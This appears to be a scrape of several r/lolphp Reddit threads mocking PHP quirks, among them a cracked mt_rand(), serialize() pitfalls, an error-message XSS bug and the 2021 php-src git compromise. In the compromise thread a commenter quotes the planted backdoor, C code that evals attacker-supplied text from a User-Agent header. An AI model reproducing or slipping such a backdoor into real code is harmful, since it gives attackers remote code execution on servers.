<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|sor|>From the manual: >This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using openssl_random_pseudo_bytes() instead." So, no, this is not really news.<|eor|><|sor|>Drupal uses this to generate passwords, as just one example. Don't take it as "not news". Take it as a great opportunity to make DANG SURE you're not using it in an unsafe context in any of your codebases. <|eor|><|sor|>Should be on /r/loldrupal then. A non-cryptographic RNG documented as such isn't WTF.<|eor|><|eols|><|endoftext|>
18
lolphp
KFCConspiracy
cd6hkoa
<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|sor|>This isn't a big deal because it's documented. There are plenty of random functions out there in other languages that shouldn't be used for this purpose. For example in Java, java.util.Random shouldn't be used for cryptography where randomness is important (it's only pseudorandom). The point of functions like this is to get a number that's random enough but not expensive to produce for purposes where it doesn't matter that much, like in a video game. <|eor|><|eols|><|endoftext|>
16
lolphp
abadidea
cd6icxx
<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|sor|>I'll just leave this here, because I probably shouldn't have three links on the front page of the subreddit at the same time http://phpmanualmasterpieces.tumblr.com/post/65965628369/so-php-such-documented mt_rand vs rand documentation <|eor|><|eols|><|endoftext|>
12
lolphp
xiongchiamiov
cd6jpdj
<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|sor|>This isn't a big deal because it's documented. There are plenty of random functions out there in other languages that shouldn't be used for this purpose. For example in Java, java.util.Random shouldn't be used for cryptography where randomness is important (it's only pseudorandom). The point of functions like this is to get a number that's random enough but not expensive to produce for purposes where it doesn't matter that much, like in a video game. <|eor|><|sor|>This is PHP my friend. The majority of people writing and reading the documentation are clueless to the implications of their actions. > A quick look on github suggests that whether people use rand() or mt_rand() is about 50/50. And mt_rand() isnt cryptographically secure anyway - for that you need OpenSSL! Github shows about ten thousand results for that versus about a million results for rand()/mt_rand().<|eor|><|sor|>Yeah, but do we know what rand() or mt_rand() are used for in those cases? I'd rather both functions be available in addition to real random generators because they have different applications. <|eor|><|sor|>Right. We use rand() for doing things like selecting a subset of featured products to display on the frontpage; no need for cryptographic randomness there. <|eor|><|eols|><|endoftext|>
10
lolphp
KFCConspiracy
cd6itl4
<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|sor|>This isn't a big deal because it's documented. There are plenty of random functions out there in other languages that shouldn't be used for this purpose. For example in Java, java.util.Random shouldn't be used for cryptography where randomness is important (it's only pseudorandom). The point of functions like this is to get a number that's random enough but not expensive to produce for purposes where it doesn't matter that much, like in a video game. <|eor|><|sor|>This is PHP my friend. The majority of people writing and reading the documentation are clueless to the implications of their actions. > A quick look on github suggests that whether people use rand() or mt_rand() is about 50/50. And mt_rand() isnt cryptographically secure anyway - for that you need OpenSSL! Github shows about ten thousand results for that versus about a million results for rand()/mt_rand().<|eor|><|sor|>Yeah, but do we know what rand() or mt_rand() are used for in those cases? I'd rather both functions be available in addition to real random generators because they have different applications. <|eor|><|eols|><|endoftext|>
8
lolphp
phoshi
cd75ouh
<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|sor|>This isn't a big deal because it's documented. There are plenty of random functions out there in other languages that shouldn't be used for this purpose. For example in Java, java.util.Random shouldn't be used for cryptography where randomness is important (it's only pseudorandom). The point of functions like this is to get a number that's random enough but not expensive to produce for purposes where it doesn't matter that much, like in a video game. <|eor|><|sor|>The question then is why is mt_rand even there? It's 'better', but not good enough to actually be useful.<|eor|><|sor|>I think the right thing to do on PHP's part would have been to get rid of the current random function used for rand() and replace it with the one used in mt_rand(). As it stands right now mt_rand() isn't enough better to justify using one over the other in an application where true randomness isn't mission critical. I think the argument for leaving rand() in with the legacy function is some code may rely on it to act a certain way (I don't see why, but that's probably how that discussion went). <|eor|><|sor|>The very concept of somebody relying on the results of rand() being consistent is terrifying and very very PHP<|eor|><|eols|><|endoftext|>
7
lolphp
bart2019
cd6o4ej
<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|sor|>This isn't a big deal because it's documented. There are plenty of random functions out there in other languages that shouldn't be used for this purpose. For example in Java, java.util.Random shouldn't be used for cryptography where randomness is important (it's only pseudorandom). The point of functions like this is to get a number that's random enough but not expensive to produce for purposes where it doesn't matter that much, like in a video game. <|eor|><|sor|>The question then is why is mt_rand even there? It's 'better', but not good enough to actually be useful.<|eor|><|sor|>It depends on what you use it for. The repetition period of normal rand is very low, on Windows even only [32767](http://www.php.net/manual/en/function.rand.php) different "rand" values before it starts repeating itself. There are only 15 bits of randomness. mt_rand is a lot better, with about 1024 bits of randomness, so you won't notice the repetition so quickly, for example in games. <|eor|><|eols|><|endoftext|>
5
lolphp
Serialk
cd6viic
<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|sor|>From the manual: >This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using openssl_random_pseudo_bytes() instead." So, no, this is not really news.<|eor|><|sor|>Drupal uses this to generate passwords, as just one example. Don't take it as "not news". Take it as a great opportunity to make DANG SURE you're not using it in an unsafe context in any of your codebases. <|eor|><|sor|>Should be on /r/loldrupal then. A non-cryptographic RNG documented as such isn't WTF.<|eor|><|sor|>I was expecting to find more lol there... so much disappointment. <|eor|><|eols|><|endoftext|>
5
lolphp
Serialk
1jfkrg
<|sols|><|sot|>serialize() documentation: pick your favorite comment<|eot|><|sol|>http://php.net/manual/en/function.serialize.php<|eol|><|eols|><|endoftext|>
39
lolphp
Serialk
cbe5quf
<|sols|><|sot|>serialize() documentation: pick your favorite comment<|eot|><|sol|>http://php.net/manual/en/function.serialize.php<|eol|><|soopr|>My personal best-of: * "Warning: on 64 bits machines, if you use a long string only composed of numbers as a key in an array and serialize/unserialize it, you can run into problems" * "Serializing floating point numbers leads to weird precision offset errors" * "A call to serialize() appears to mess with the array's internal pointer." * "I have problem to use serialize function with hidden form field and the resolution was use htmlentities." * "Oddly, if you serialize a class that was previously unserialized, the class of the variable changes to string..." * "If serializing objects to be stored into a postgresql database, the 'null byte' injected for private and protected members throws a wrench into the system. Even pg_escape_bytea() on the value, and storing the value as a binary type fails under certain circumstances." (suggests `str_replace("\0", "~~NULL_BYTE~~", $serialized_object);` as a workaround) * "php's serialize does not properly serialize arrays with which a slice of the array is a reference to the array itself" * "I ran some benchmarks to see which is the faster, and, surprisingly, I found that serialize() is always between 46% and 96% SLOWER than json_encode()."<|eoopr|><|eols|><|endoftext|>
36
lolphp
farsightxr20
cbel68c
<|sols|><|sot|>serialize() documentation: pick your favorite comment<|eot|><|sol|>http://php.net/manual/en/function.serialize.php<|eol|><|soopr|>My personal best-of: * "Warning: on 64 bits machines, if you use a long string only composed of numbers as a key in an array and serialize/unserialize it, you can run into problems" * "Serializing floating point numbers leads to weird precision offset errors" * "A call to serialize() appears to mess with the array's internal pointer." * "I have problem to use serialize function with hidden form field and the resolution was use htmlentities." * "Oddly, if you serialize a class that was previously unserialized, the class of the variable changes to string..." * "If serializing objects to be stored into a postgresql database, the 'null byte' injected for private and protected members throws a wrench into the system. Even pg_escape_bytea() on the value, and storing the value as a binary type fails under certain circumstances." (suggests `str_replace("\0", "~~NULL_BYTE~~", $serialized_object);` as a workaround) * "php's serialize does not properly serialize arrays with which a slice of the array is a reference to the array itself" * "I ran some benchmarks to see which is the faster, and, surprisingly, I found that serialize() is always between 46% and 96% SLOWER than json_encode()."<|eoopr|><|sor|>> "Warning: on 64 bits machines, if you use a long string only composed of numbers as a key in an array and serialize/unserialize it, you can run into problems" The best part about this one is the [bug report](https://bugs.php.net/bug.php?id=31117) associated with it, closed as "not a bug". Apparently unserialize() isn't supposed to be an inverse of serialize()... what's more, the comment explaining the decision to close the bug has _nothing_ to do with the bug itself: > This is the expected results, PHP will not emulate an integer overflow on 64 bit systems. all of my wat<|eor|><|eols|><|endoftext|>
27
lolphp
audaxxx
cbe6vse
<|sols|><|sot|>serialize() documentation: pick your favorite comment<|eot|><|sol|>http://php.net/manual/en/function.serialize.php<|eol|><|sor|>My best of serialize is: unserialize(serialize(new DateTimeZone("UTC")))->getName(); -> Warning: DateTimeZone::getName(): The DateTimeZone object has not been correctly initialized by its constructor on line 1 But echo unserialize(serialize(new DateTime("now",new DateTimeZone("UTC"))))->getTimezone()->getName(); -> UTC I don't even...<|eor|><|eols|><|endoftext|>
26
lolphp
kasnalin
cbe7r9i
<|sols|><|sot|>serialize() documentation: pick your favorite comment<|eot|><|sol|>http://php.net/manual/en/function.serialize.php<|eol|><|soopr|>My personal best-of: * "Warning: on 64 bits machines, if you use a long string only composed of numbers as a key in an array and serialize/unserialize it, you can run into problems" * "Serializing floating point numbers leads to weird precision offset errors" * "A call to serialize() appears to mess with the array's internal pointer." * "I have problem to use serialize function with hidden form field and the resolution was use htmlentities." * "Oddly, if you serialize a class that was previously unserialized, the class of the variable changes to string..." * "If serializing objects to be stored into a postgresql database, the 'null byte' injected for private and protected members throws a wrench into the system. Even pg_escape_bytea() on the value, and storing the value as a binary type fails under certain circumstances." (suggests `str_replace("\0", "~~NULL_BYTE~~", $serialized_object);` as a workaround) * "php's serialize does not properly serialize arrays with which a slice of the array is a reference to the array itself" * "I ran some benchmarks to see which is the faster, and, surprisingly, I found that serialize() is always between 46% and 96% SLOWER than json_encode()."<|eoopr|><|sor|>> "I have problem to use serialize function with hidden form field and the resolution was use htmlentities." A subsequent commenter has the same problem, and uses `base64_encode` instead. Missing the forest for the trees... If you unserialize _anything_ passed from user input, you're asking for trouble.<|eor|><|eols|><|endoftext|>
13
lolphp
InconsiderateBastard
cbe6xcj
<|sols|><|sot|>serialize() documentation: pick your favorite comment<|eot|><|sol|>http://php.net/manual/en/function.serialize.php<|eol|><|sor|>This was my favorite, I haven't tested it yet: > Oddly, if you serialize a class that was previously unserialized, the class of the variable changes to string...<|eor|><|eols|><|endoftext|>
10
lolphp
Pandalism
ya8i6
<|sols|><|sot|>The default PHP error messages are vulnerable to XSS? Doesn't matter, people that turn on display_errors are stupid anyway!<|eot|><|sol|>https://bugs.php.net/bug.php?id=55139<|eol|><|eols|><|endoftext|>
41
lolphp
ealf
c5tsw0g
<|sols|><|sot|>The default PHP error messages are vulnerable to XSS? Doesn't matter, people that turn on display_errors are stupid anyway!<|eot|><|sol|>https://bugs.php.net/bug.php?id=55139<|eol|><|sor|>Im all for a bit of LOLPHP, but I side with the devs on this one. <|eor|><|sor|>Look at [this code](https://github.com/php/php-src/blob/master/main/main.c#L1068): if (type == E_ERROR || type == E_PARSE) { size_t len; char *buf = php_escape_html_entities(buffer, buffer_len, &len, 0, ENT_COMPAT, NULL TSRMLS_CC); php_printf("%s<br />\n<b>%s</b>: %s in <b>%s</b> on line <b>%d</b><br />\n%s", STR_PRINT(prepend_string), error_type_str, buf, error_filename, error_lineno, STR_PRINT(append_string)); efree(buf); } else { php_printf("%s<br />\n<b>%s</b>: %s in <b>%s</b> on line <b>%d</b><br />\n%s", STR_PRINT(prepend_string), error_type_str, buffer, error_filename, error_lineno, STR_PRINT(append_string)); } They are conditionally HTML-escaping based on the type of error. *How do you come up with an idea like that?!*<|eor|><|eols|><|endoftext|>
27
lolphp
audaxxx
c5trl7n
<|sols|><|sot|>The default PHP error messages are vulnerable to XSS? Doesn't matter, people that turn on display_errors are stupid anyway!<|eot|><|sol|>https://bugs.php.net/bug.php?id=55139<|eol|><|sor|>Im all for a bit of LOLPHP, but I side with the devs on this one. <|eor|><|sor|>It is a bug though. <|eor|><|eols|><|endoftext|>
10
lolphp
sumdog
c5uf177
<|sols|><|sot|>The default PHP error messages are vulnerable to XSS? Doesn't matter, people that turn on display_errors are stupid anyway!<|eot|><|sol|>https://bugs.php.net/bug.php?id=55139<|eol|><|sor|>[deleted]<|eor|><|sor|>>display_errors is enabled, which means you renounce any claims of running secure server. This is what pissed me off. I realize display_errors shouldn't be turned on in production, but still, "renounce any claims of running secure." I'm pretty sure if Tomcat's default 500 messages had XSS problems, the Tomcat developers would see that as an issue. <|eor|><|eols|><|endoftext|>
7
lolphp
ealf
c61c5ny
<|sols|><|sot|>The default PHP error messages are vulnerable to XSS? Doesn't matter, people that turn on display_errors are stupid anyway!<|eot|><|sol|>https://bugs.php.net/bug.php?id=55139<|eol|><|sor|>Im all for a bit of LOLPHP, but I side with the devs on this one. <|eor|><|sor|>Look at [this code](https://github.com/php/php-src/blob/master/main/main.c#L1068): if (type == E_ERROR || type == E_PARSE) { size_t len; char *buf = php_escape_html_entities(buffer, buffer_len, &len, 0, ENT_COMPAT, NULL TSRMLS_CC); php_printf("%s<br />\n<b>%s</b>: %s in <b>%s</b> on line <b>%d</b><br />\n%s", STR_PRINT(prepend_string), error_type_str, buf, error_filename, error_lineno, STR_PRINT(append_string)); efree(buf); } else { php_printf("%s<br />\n<b>%s</b>: %s in <b>%s</b> on line <b>%d</b><br />\n%s", STR_PRINT(prepend_string), error_type_str, buffer, error_filename, error_lineno, STR_PRINT(append_string)); } They are conditionally HTML-escaping based on the type of error. *How do you come up with an idea like that?!*<|eor|><|sor|>[deleted]<|eor|><|sor|>> "Better critical error handling" I never realized, but the word "better" is a good WTF indicator. I tried grepping for it, and this was the first hit: //@FIXME is there a better way to make sure the process is ready? usleep(50000);<|eor|><|eols|><|endoftext|>
7
lolphp
Pandalism
c5ttdef
<|sols|><|sot|>The default PHP error messages are vulnerable to XSS? Doesn't matter, people that turn on display_errors are stupid anyway!<|eot|><|sol|>https://bugs.php.net/bug.php?id=55139<|eol|><|soopr|>[More info](https://nealpoole.com/blog/2011/08/cross-site-scripting-via-error-reporting-notices-in-php/)<|eoopr|><|eols|><|endoftext|>
5
lolphp
midir
s6kqy
<|soss|><|sot|>When references go bad<|eot|><|sost|>Consider this example: $a = array(0 => 'hello'); // ... noeffect($a); print_r($a); function noeffect($array) { $array[0] = 'something completely different'; } Output: Array ( [0] => hello ) Because the array is passed to noeffect by value, its manipulation of the array only affects its local parameter copy, and not the array in the calling scope. This is completely normal and expected. But now consider this variation: $a = array(0 => 'hello'); // ... $b = &$a[0]; // ... noeffect($a); print_r($a); function noeffect($array) { $array[0] = 'something completely different'; } The one additional line of code takes a reference to the array's element. This breaks the later by-value argument passing. The output is: Array ( [0] => something completely different ) The function "noeffect" now does have a dramatic effect, even though the function, its argument, and its call are the same as before!<|eost|><|eoss|><|endoftext|>
39
lolphp
zenojevski
c4bmhjy
<|soss|><|sot|>When references go bad<|eot|><|sost|>Consider this example: $a = array(0 => 'hello'); // ... noeffect($a); print_r($a); function noeffect($array) { $array[0] = 'something completely different'; } Output: Array ( [0] => hello ) Because the array is passed to noeffect by value, its manipulation of the array only affects its local parameter copy, and not the array in the calling scope. This is completely normal and expected. But now consider this variation: $a = array(0 => 'hello'); // ... $b = &$a[0]; // ... noeffect($a); print_r($a); function noeffect($array) { $array[0] = 'something completely different'; } The one additional line of code takes a reference to the array's element. This breaks the later by-value argument passing. The output is: Array ( [0] => something completely different ) The function "noeffect" now does have a dramatic effect, even though the function, its argument, and its call are the same as before!<|eost|><|sor|>I've just read this in the [article](http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/) [^\[c\]](http://www.reddit.com/r/lolphp/comments/s24ey/php_a_fractal_of_bad_design/) posted below this: >There are no references. What PHP calls references are really aliases; theres nothing thats a step back, like Perls references, and theres no pass-by-object identity like in Python. > >Referenceness infects a variable unlike anything else in the language. PHP is dynamically-typed, so variables generally have no type except references, which adorn function definitions, variable syntax, and assignment. Once a variable is made a reference (which can happen anywhere), its stuck as a reference. Theres no obvious way to detect this and un-referencing requires nuking the variable entirely. The whole article, actually, is really hilarious (for someone who doesn't work with that, at least). **Edit:** I was wondering, if **$a** is not an array but something like **3**, and index accesses on non-arrays return NULL, does it still get a reference (alias?) to it?<|eor|><|eoss|><|endoftext|>
7
lolphp
throwaway-o
jxmlk
<|sols|><|sot|>More PHP LOL: release 5.3.8 to fix crypt() bug, break a shitton of other things. It's like they're on LSD.<|eot|><|sol|>https://bugs.php.net/bug.php?id=55475<|eol|><|eols|><|endoftext|>
41
lolphp
kinghfb
c2fzf70
<|sols|><|sot|>More PHP LOL: release 5.3.8 to fix crypt() bug, break a shitton of other things. It's like they're on LSD.<|eot|><|sol|>https://bugs.php.net/bug.php?id=55475<|eol|><|sor|>Normally I play devil's advocate and hassle people posting in this forum. But holy hell what are these clowns doing? Doesn't anyone run a damn unit test anymore?<|eor|><|eols|><|endoftext|>
15
lolphp
i-am-am-nice-really
c2fzhhc
<|sols|><|sot|>More PHP LOL: release 5.3.8 to fix crypt() bug, break a shitton of other things. It's like they're on LSD.<|eot|><|sol|>https://bugs.php.net/bug.php?id=55475<|eol|><|sor|>Normally I play devil's advocate and hassle people posting in this forum. But holy hell what are these clowns doing? Doesn't anyone run a damn unit test anymore?<|eor|><|sor|>PHP fails ~200 of its unit tests already. They have a different idea of what tests should be for. So when another one fails, it is another blip in a lot of noise.<|eor|><|eols|><|endoftext|>
14
lolphp
sloat
c2g05ed
<|sols|><|sot|>More PHP LOL: release 5.3.8 to fix crypt() bug, break a shitton of other things. It's like they're on LSD.<|eot|><|sol|>https://bugs.php.net/bug.php?id=55475<|eol|><|sor|>Normally I play devil's advocate and hassle people posting in this forum. But holy hell what are these clowns doing? Doesn't anyone run a damn unit test anymore?<|eor|><|sor|>PHP fails ~200 of its unit tests already. They have a different idea of what tests should be for. So when another one fails, it is another blip in a lot of noise.<|eor|><|sor|>... What else could unit tests be used for other than telling you when something isn't working?<|eor|><|eols|><|endoftext|>
6
lolphp
chishiki
mflmgm
<|sols|><|sot|>maybe the git server was a php server<|eot|><|sol|>https://news-web.php.net/php.internals/113838<|eol|><|eols|><|endoftext|>
43
lolphp
sproingie
gspybyc
<|sols|><|sot|>maybe the git server was a php server<|eot|><|sol|>https://news-web.php.net/php.internals/113838<|eol|><|sor|>Let's hope they turn the "require signed commits" flag on github.<|eor|><|sor|>[deleted]<|eor|><|sor|>Linus is a smart guy, but when he's ignorant about something, he trumpets that ignorance loudly and abusively as infallible wisdom spoken ex cathedra. Anyone who signed the head of the hacked PHP branch would be signing that hack as well. You sign the tip in order to sign off _everyone else's_ commits, which themselves have to be signed for you to be sure it's their commit.<|eor|><|sor|>[deleted]<|eor|><|sor|>He's ignorant about how some peoples workflows and organizations work, yes. And Linus probably didn't even implement signed commits if he was so vociferously against them. Far as I know, git's maintained by completely different people now. Anyway, that comment was more than 10 years ago. Linus has strong opinions, but is known to change them when he gets more facts.<|eor|><|eols|><|endoftext|>
14
lolphp
sproingie
gsosude
<|sols|><|sot|>maybe the git server was a php server<|eot|><|sol|>https://news-web.php.net/php.internals/113838<|eol|><|sor|>Let's hope they turn the "require signed commits" flag on github.<|eor|><|eols|><|endoftext|>
12
lolphp
Smooth-Zucchini4923
gspg5so
<|sols|><|sot|>maybe the git server was a php server<|eot|><|sol|>https://news-web.php.net/php.internals/113838<|eol|><|sor|>The code in question: if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) && (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) { convert_to_string(enc); if (strstr(Z_STRVAL_P(enc), "zerodium")) { zend_try { zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017"); } zend_end_try(); } } This contains the name Zerodium, a company which buys exploits for various platforms. > ## Mistaken identity > > The malicious code includes reference to Zerodium, a US company known for buying zero-day exploits. > > This has sparked conversation online as the cybersecurity community scrambles to determine who is behind the attack. > > Twitter user @LiveOverflow suggested that the mention could be a joke, tweeting: Whats your guess regarding the Zerodium reference? Just a joke? Or maybe talking about the root bug that lead [SIC] to the repo compromise? > > > > > Zerodium CEO Chaouki Bekrar shut down rumors that it was involved, instead pointing to the real attackers as being trolls. > > They wrote: Cheers to the troll who put Zerodium in todays PHP git compromised commits. Obviously, we have nothing to do with this. > > Likely, the researcher(s) who found this bug/exploit tried to sell it to many entities but none wanted to buy this crap, so they burned it for fun.<|eor|><|eols|><|endoftext|>
9
lolphp
elcapitanoooo
gsp4bdh
<|sols|><|sot|>maybe the git server was a php server<|eot|><|sol|>https://news-web.php.net/php.internals/113838<|eol|><|sor|>There was an other thread regarding this. Now the question is: how much malicious code has already been accepted before this was disclosed? Not sure when the php git was hacked, but in theory it could have been done years ago. As an example, the goto statement added in 5.4 could have potentially been added maliciously. And who knows what else will be found..<|eor|><|eols|><|endoftext|>
7
lolphp
IluTov
gsqoqti
<|sols|><|sot|>maybe the git server was a php server<|eot|><|sol|>https://news-web.php.net/php.internals/113838<|eol|><|sor|>There was an other thread regarding this. Now the question is: how much malicious code has already been accepted before this was disclosed? Not sure when the php git was hacked, but in theory it could have been done years ago. As an example, the goto statement added in 5.4 could have potentially been added maliciously. And who knows what else will be found..<|eor|><|sor|>> As an example, the goto statement added in 5.4 could have potentially been added maliciously. And who knows what else will be found.. It absolutely could not have been. New features require RFCs. Even small changes are often discussed in an internal chat. 1.5k people watch the php-src GitHub repo. There's a reason this commit was discovered shortly after it has been commited.<|eor|><|eols|><|endoftext|>
7
lolphp
barubary
dfw1ln
<|soss|><|sot|>PHP is case (in)sensitive<|eot|><|sost|>We all know about case sensitive variables, case insensitive functions, etc. This one is new. What if you want to embed a character in a string by specifying its hex code? [The manual explains](https://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.double) that you have two options: > Sequence | Meaning > ---------------------|--------- > *\x[0-9A-Fa-f]{1,2}* | the sequence of characters matching the regular expression is a character in hexadecimal notation > *\u{[0-9A-Fa-f]+}* | the sequence of characters matching the regular expression is a Unicode codepoint, which will be output to the string as that codepoint's UTF-8 representation (added in PHP 7.0.0) As expected, both `"\x41"` and `"\u{41}"` result in `'A'`. But is that escape sequence case sensitive? The answer is, of course, y^(n)e^(o)s: <?php echo "\x41 \u{41} \X41 \U{41}\n"; [Output:](https://3v4l.org/g5Itp) A A A \U{41} --- TL;DR: `\x` is case insensitive, `\u` is case sensitive. --- Bonus lolphp: > As in single quoted strings, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in `\{$var}` had not been printed. The manual keeps talking about printing, as if the only thing you could do with a string constant is to output it to a screen/browser. It also subtly implies that backslash processing is done as part of `echo` (or equivalent), which would also affect e.g. text from variables, instead of it being part of the syntax of string literals in PHP code.<|eost|><|eoss|><|endoftext|>
40
lolphp
nikic
f367l1h
<|soss|><|sot|>PHP is case (in)sensitive<|eot|><|sost|>We all know about case sensitive variables, case insensitive functions, etc. This one is new. What if you want to embed a character in a string by specifying its hex code? [The manual explains](https://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.double) that you have two options: > Sequence | Meaning > ---------------------|--------- > *\x[0-9A-Fa-f]{1,2}* | the sequence of characters matching the regular expression is a character in hexadecimal notation > *\u{[0-9A-Fa-f]+}* | the sequence of characters matching the regular expression is a Unicode codepoint, which will be output to the string as that codepoint's UTF-8 representation (added in PHP 7.0.0) As expected, both `"\x41"` and `"\u{41}"` result in `'A'`. But is that escape sequence case sensitive? The answer is, of course, y^(n)e^(o)s: <?php echo "\x41 \u{41} \X41 \U{41}\n"; [Output:](https://3v4l.org/g5Itp) A A A \U{41} --- TL;DR: `\x` is case insensitive, `\u` is case sensitive. --- Bonus lolphp: > As in single quoted strings, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in `\{$var}` had not been printed. The manual keeps talking about printing, as if the only thing you could do with a string constant is to output it to a screen/browser. It also subtly implies that backslash processing is done as part of `echo` (or equivalent), which would also affect e.g. text from variables, instead of it being part of the syntax of string literals in PHP code.<|eost|><|sor|>This is interesting. `\u` is a lot newer than `\x`, and I'm not sure whether making it case insensitive was a design choice or just an oversight. Maybe /u/the_alias_of_andrea knows?<|eor|><|eoss|><|endoftext|>
10
lolphp
Yarhj
f375e2r
<|soss|><|sot|>PHP is case (in)sensitive<|eot|><|sost|>We all know about case sensitive variables, case insensitive functions, etc. This one is new. What if you want to embed a character in a string by specifying its hex code? [The manual explains](https://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.double) that you have two options: > Sequence | Meaning > ---------------------|--------- > *\x[0-9A-Fa-f]{1,2}* | the sequence of characters matching the regular expression is a character in hexadecimal notation > *\u{[0-9A-Fa-f]+}* | the sequence of characters matching the regular expression is a Unicode codepoint, which will be output to the string as that codepoint's UTF-8 representation (added in PHP 7.0.0) As expected, both `"\x41"` and `"\u{41}"` result in `'A'`. But is that escape sequence case sensitive? The answer is, of course, y^(n)e^(o)s: <?php echo "\x41 \u{41} \X41 \U{41}\n"; [Output:](https://3v4l.org/g5Itp) A A A \U{41} --- TL;DR: `\x` is case insensitive, `\u` is case sensitive. --- Bonus lolphp: > As in single quoted strings, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in `\{$var}` had not been printed. The manual keeps talking about printing, as if the only thing you could do with a string constant is to output it to a screen/browser. It also subtly implies that backslash processing is done as part of `echo` (or equivalent), which would also affect e.g. text from variables, instead of it being part of the syntax of string literals in PHP code.<|eost|><|sor|>This is interesting. `\u` is a lot newer than `\x`, and I'm not sure whether making it case insensitive was a design choice or just an oversight. Maybe /u/the_alias_of_andrea knows?<|eor|><|sor|>Most likely it was a design decision made, and in heinsight it became a lol. Like most new features, they all seem broken in various ways, take the short arrow syntax for example, or namespacing back in 5.3.<|eor|><|sor|>> heinsight While typically someone would use the word "hindsight" here, I choose to interpret this as a portmanteau of "heinous" and "insight", which really captures the thought process and mindset that I feel must have gone into the design of PHP.<|eor|><|eoss|><|endoftext|>
10
lolphp
the_alias_of_andrea
f398qz0
<|soss|><|sot|>PHP is case (in)sensitive<|eot|><|sost|>We all know about case sensitive variables, case insensitive functions, etc. This one is new. What if you want to embed a character in a string by specifying its hex code? [The manual explains](https://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.double) that you have two options: > Sequence | Meaning > ---------------------|--------- > *\x[0-9A-Fa-f]{1,2}* | the sequence of characters matching the regular expression is a character in hexadecimal notation > *\u{[0-9A-Fa-f]+}* | the sequence of characters matching the regular expression is a Unicode codepoint, which will be output to the string as that codepoint's UTF-8 representation (added in PHP 7.0.0) As expected, both `"\x41"` and `"\u{41}"` result in `'A'`. But is that escape sequence case sensitive? The answer is, of course, y^(n)e^(o)s: <?php echo "\x41 \u{41} \X41 \U{41}\n"; [Output:](https://3v4l.org/g5Itp) A A A \U{41} --- TL;DR: `\x` is case insensitive, `\u` is case sensitive. --- Bonus lolphp: > As in single quoted strings, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in `\{$var}` had not been printed. The manual keeps talking about printing, as if the only thing you could do with a string constant is to output it to a screen/browser. It also subtly implies that backslash processing is done as part of `echo` (or equivalent), which would also affect e.g. text from variables, instead of it being part of the syntax of string literals in PHP code.<|eost|><|sor|>This is interesting. `\u` is a lot newer than `\x`, and I'm not sure whether making it case insensitive was a design choice or just an oversight. Maybe /u/the_alias_of_andrea knows?<|eor|><|sor|>I didn't know `\X` existed! But I don't think I'd want `\U` anyway. In some languages, there is both `\u` and `\U` and they do different things (indeed I think PHP 6 might have been intended to do that?). I think the option should be open to PHP to do the same. It'd also be needless breakage of existing code that might happen to contain `\U{` in a string.<|eor|><|eoss|><|endoftext|>
8
lolphp
mikeputerbaugh
f37lxau
<|soss|><|sot|>PHP is case (in)sensitive<|eot|><|sost|>We all know about case sensitive variables, case insensitive functions, etc. This one is new. What if you want to embed a character in a string by specifying its hex code? [The manual explains](https://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.double) that you have two options: > Sequence | Meaning > ---------------------|--------- > *\x[0-9A-Fa-f]{1,2}* | the sequence of characters matching the regular expression is a character in hexadecimal notation > *\u{[0-9A-Fa-f]+}* | the sequence of characters matching the regular expression is a Unicode codepoint, which will be output to the string as that codepoint's UTF-8 representation (added in PHP 7.0.0) As expected, both `"\x41"` and `"\u{41}"` result in `'A'`. But is that escape sequence case sensitive? The answer is, of course, y^(n)e^(o)s: <?php echo "\x41 \u{41} \X41 \U{41}\n"; [Output:](https://3v4l.org/g5Itp) A A A \U{41} --- TL;DR: `\x` is case insensitive, `\u` is case sensitive. --- Bonus lolphp: > As in single quoted strings, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in `\{$var}` had not been printed. The manual keeps talking about printing, as if the only thing you could do with a string constant is to output it to a screen/browser. It also subtly implies that backslash processing is done as part of `echo` (or equivalent), which would also affect e.g. text from variables, instead of it being part of the syntax of string literals in PHP code.<|eost|><|sor|>The fun fact is realizing that Composer behaves differently on case sensitive vs case insensitive file systems. Oh, and that Macs are case insensitive...<|eor|><|sor|>By default. Developers can and should create a partition with a case-sensitive filesystem if they are going to do development in a macOS environment.<|eor|><|eoss|><|endoftext|>
7
lolphp
EmperorArthur
f36ploc
